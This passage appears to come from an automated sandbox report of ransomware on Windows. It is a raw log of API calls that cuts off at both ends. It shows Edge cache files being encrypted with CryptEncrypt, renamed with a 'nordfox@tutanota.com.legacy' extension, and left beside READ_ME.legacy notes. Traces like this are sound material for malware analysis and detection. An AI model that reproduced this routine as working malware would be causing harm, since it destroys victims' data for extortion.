| out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.075] WriteFile (in: hFile=0x1b94, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.076] WriteFile (in: hFile=0x1b94, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.076] CloseHandle (hObject=0x1b94) returned 1 [0193.076] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatcache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatCache\\container.dat.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatcache\\container.dat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0193.078] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatUaCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1049b68e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1049b68e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4830 [0193.078] SetLastError (dwErrCode=0x0) [0193.078] GetLastError () returned 0x0 [0193.078] SetLastError (dwErrCode=0x0) [0193.078] GetLastError () returned 0x0 [0193.078] SetLastError (dwErrCode=0x0) [0193.078] FindNextFileW (in: hFindFile=0x30d4830, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1049b68e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1049b68e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.078] SetLastError (dwErrCode=0x0) [0193.078] GetLastError () returned 0x0 [0193.078] SetLastError (dwErrCode=0x0) [0193.078] GetLastError () returned 0x0 [0193.078] SetLastError (dwErrCode=0x0) [0193.079] FindNextFileW (in: hFindFile=0x30d4830, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1049b68e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1049b68e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1049b68e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.079] SetLastError (dwErrCode=0x0) [0193.079] GetLastError () returned 0x0 [0193.079] SetLastError (dwErrCode=0x0) [0193.079] GetLastError () returned 0x0 [0193.079] SetLastError (dwErrCode=0x0) [0193.079] FindNextFileW (in: hFindFile=0x30d4830, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbb9d012, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbb9d012, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.079] SetLastError (dwErrCode=0x0) [0193.079] GetLastError () returned 0x0 [0193.079] SetLastError (dwErrCode=0x0) [0193.079] GetLastError () returned 0x0 [0193.079] SetLastError (dwErrCode=0x0) [0193.079] FindNextFileW (in: hFindFile=0x30d4830, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbb9d012, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbb9d012, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.079] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0193.079] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0193.079] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatUaCache\\container.dat", dwFileAttributes=0x80) returned 1 [0193.080] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatUaCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatuacache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b98 [0193.080] GetFileSizeEx (in: hFile=0x1b98, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.080] ReadFile (in: hFile=0x1b98, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.080] SetFilePointer (in: hFile=0x1b98, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.080] WriteFile (in: hFile=0x1b98, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.080] SetFilePointer (in: hFile=0x1b98, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.080] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.080] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.081] WriteFile (in: hFile=0x1b98, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.081] WriteFile (in: hFile=0x1b98, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.084] CloseHandle (hObject=0x1b98) returned 1 [0193.084] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatUaCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatuacache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatUaCache\\container.dat.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\iecompatuacache\\container.dat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0193.088] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IEFlipAheadCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9d06badc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9d075730, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4270 [0193.088] SetLastError (dwErrCode=0x0) [0193.088] GetLastError () returned 0x0 [0193.089] SetLastError (dwErrCode=0x0) [0193.089] GetLastError () returned 0x0 [0193.089] SetLastError (dwErrCode=0x0) [0193.089] FindNextFileW (in: hFindFile=0x30d4270, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9d06badc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9d075730, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.089] SetLastError (dwErrCode=0x0) [0193.089] GetLastError () returned 0x0 [0193.089] SetLastError (dwErrCode=0x0) [0193.089] GetLastError () returned 0x0 [0193.089] SetLastError (dwErrCode=0x0) [0193.089] FindNextFileW (in: hFindFile=0x30d4270, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9d075730, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9d075730, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9d075730, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.089] SetLastError (dwErrCode=0x0) [0193.089] GetLastError () returned 0x0 [0193.089] SetLastError (dwErrCode=0x0) [0193.089] GetLastError () returned 0x0 [0193.089] SetLastError (dwErrCode=0x0) [0193.089] FindNextFileW (in: hFindFile=0x30d4270, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbb9d012, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbb9d012, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.089] SetLastError (dwErrCode=0x0) [0193.089] GetLastError () returned 0x0 [0193.089] SetLastError (dwErrCode=0x0) [0193.089] GetLastError () returned 0x0 [0193.090] SetLastError (dwErrCode=0x0) [0193.090] FindNextFileW (in: hFindFile=0x30d4270, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbb9d012, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbb9d012, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.090] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0193.090] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0193.090] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IEFlipAheadCache\\container.dat", dwFileAttributes=0x80) returned 1 [0193.090] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IEFlipAheadCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\ieflipaheadcache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b9c [0193.091] GetFileSizeEx (in: hFile=0x1b9c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.091] ReadFile (in: hFile=0x1b9c, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.091] SetFilePointer (in: hFile=0x1b9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.091] WriteFile (in: hFile=0x1b9c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.091] SetFilePointer (in: hFile=0x1b9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0193.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0193.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0193.092] WriteFile (in: hFile=0x1b9c, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0193.092] WriteFile (in: hFile=0x1b9c, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0193.092] CloseHandle (hObject=0x1b9c) returned 1 [0193.093] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IEFlipAheadCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\ieflipaheadcache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IEFlipAheadCache\\container.dat.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\ieflipaheadcache\\container.dat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0193.094] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\User\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12508dd9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12508dd9, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d45b0 [0193.094] SetLastError (dwErrCode=0x0) [0193.094] GetLastError () returned 0x0 [0193.094] SetLastError (dwErrCode=0x0) [0193.094] GetLastError () returned 0x0 [0193.095] SetLastError (dwErrCode=0x0) [0193.095] FindNextFileW (in: hFindFile=0x30d45b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12508dd9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12508dd9, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.096] SetLastError (dwErrCode=0x0) [0193.096] GetLastError () returned 0x0 [0193.096] SetLastError (dwErrCode=0x0) [0193.096] GetLastError () returned 0x0 [0193.096] SetLastError (dwErrCode=0x0) [0193.096] FindNextFileW (in: hFindFile=0x30d45b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12508dd9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x9367da0c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9367da0c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Default", cAlternateFileName="")) returned 1 [0193.096] SetLastError (dwErrCode=0x0) [0193.096] GetLastError () returned 0x0 [0193.096] SetLastError (dwErrCode=0x0) [0193.096] GetLastError () returned 0x0 [0193.096] SetLastError (dwErrCode=0x0) [0193.096] FindNextFileW (in: hFindFile=0x30d45b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbb9d012, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbb9d012, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.096] SetLastError (dwErrCode=0x0) [0193.096] GetLastError () returned 0x0 [0193.096] SetLastError (dwErrCode=0x0) [0193.097] GetLastError () returned 0x0 [0193.097] SetLastError (dwErrCode=0x0) [0193.097] FindNextFileW (in: hFindFile=0x30d45b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbb9d012, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbb9d012, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbb9d012, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.097] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfdd27f87, ftLastAccessTime.dwHighDateTime=0x1d39f5c, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4770 [0193.097] SetLastError (dwErrCode=0x12) [0193.097] GetLastError () returned 0x12 [0193.097] SetLastError (dwErrCode=0x12) [0193.097] GetLastError () returned 0x12 [0193.097] SetLastError (dwErrCode=0x12) [0193.097] FindNextFileW (in: hFindFile=0x30d4770, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfdd27f87, ftLastAccessTime.dwHighDateTime=0x1d39f5c, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0193.097] SetLastError (dwErrCode=0x12) [0193.097] GetLastError () returned 0x12 [0193.097] SetLastError (dwErrCode=0x12) [0193.097] GetLastError () returned 0x12 [0193.097] SetLastError (dwErrCode=0x12) [0193.097] FindNextFileW (in: hFindFile=0x30d4770, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x12ca25f9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12ca25f9, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12ca25f9, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0193.097] SetLastError (dwErrCode=0x12) [0193.097] GetLastError () returned 0x12 [0193.098] SetLastError (dwErrCode=0x12) [0193.098] GetLastError () returned 0x12 [0193.098] SetLastError (dwErrCode=0x12) [0193.098] FindNextFileW (in: hFindFile=0x30d4770, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbbc3028, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbbc3028, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0193.098] SetLastError (dwErrCode=0x12) [0193.098] GetLastError () returned 0x12 [0193.098] SetLastError (dwErrCode=0x12) [0193.098] GetLastError () returned 0x12 [0193.098] SetLastError (dwErrCode=0x12) [0193.098] FindNextFileW (in: hFindFile=0x30d4770, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbbc3028, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xfbbc3028, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xfbbe93dc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0193.098] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0193.098] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0193.098] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cache\\container.dat", dwFileAttributes=0x80) returned 1 [0193.098] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ba4 [0193.099] GetFileSizeEx (in: hFile=0x1ba4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0193.099] ReadFile (in: hFile=0x1ba4, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.099] SetFilePointer (in: hFile=0x1ba4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.099] WriteFile (in: hFile=0x1ba4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0193.100] SetFilePointer (in: 